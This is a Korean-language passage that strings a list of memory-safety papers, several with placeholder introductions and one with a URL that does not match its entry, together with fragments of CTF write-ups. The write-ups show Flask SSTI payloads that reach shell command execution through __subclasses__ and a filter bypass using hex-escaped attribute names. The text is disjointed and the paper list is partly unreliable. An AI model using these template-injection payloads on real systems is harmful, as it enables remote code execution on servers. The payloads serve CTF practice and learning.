저자 Floris Gorter et al. 연도 2022 게재처 CCS 유형 one-time allocate URL https://dl.acm.org/doi/10.1145/3548606.3560625 Introduction Background […]
저자 Brian Wickman et al. 연도 2021 게재처 USENIX Security 유형 one-time allocate URL https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/dang Introduction 추후 추가 예정
저자 Thurston H.Y. Dang et al. 연도 2017 게재처 USENIX Security 유형 one-time allocate URL https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/dang Introduction 추후 추가 예정
저자 Márton Erdős et al. 연도 2022 게재처 ASPLOS 유형 garbage collection URL https://dl.acm.org/doi/10.1145/3503222.3507712 Introduction 추후 추가 예정 Background
저자 Sam Ainsworth et al. 연도 2020 게재처 IEEE S&P 유형 garbage collection URL https://ieeexplore.ieee.org/document/9152661 Introduction 이 논문은 C/C++에서 발생하는
계산기가 있다. render_template_string을 쓰고 있다. → SSTI!! ‘ ” _ [ ] , ` sys os flag % class config
render_template_string을 쓰고 있으므로 ssti임을 알 수 있다. 7*7을 넣어보면 49가 나온다. ‘’.__class__ ‘’.__class__.__mro__ ‘’.__class__.__mro__[1] ‘’.__class__.__mro__[1].__subclasses__() ‘’.__class__.__mro__[1].__subclasses__().__getitem__(398) ‘’.__class__.__mro__[1].__subclasses__().__getitem__(398)(’ls’,shell=True,stdout=-1) 까지 순서대로
메모가 있다. 여러가지 필터링이 존재한다. 게다가 args도 막힌다. |join으로 하는 것도 못한다. request|attr((’ar’,’gs’)|join)|attr(’a’) request|attr(%27arx67s%27) g를 x67로 넣어주니 된다!!!! request|attr(%27arx67s%27)|attr(%27x67et%27)(%27c%27)}}&c=_
뭔가를 작성할 수 있는 노트가 있다. 작성하면 token이 생긴다. 노트에 img 태그까지 넣을 수 있다. 해당 url에 직접 접근하면 note의
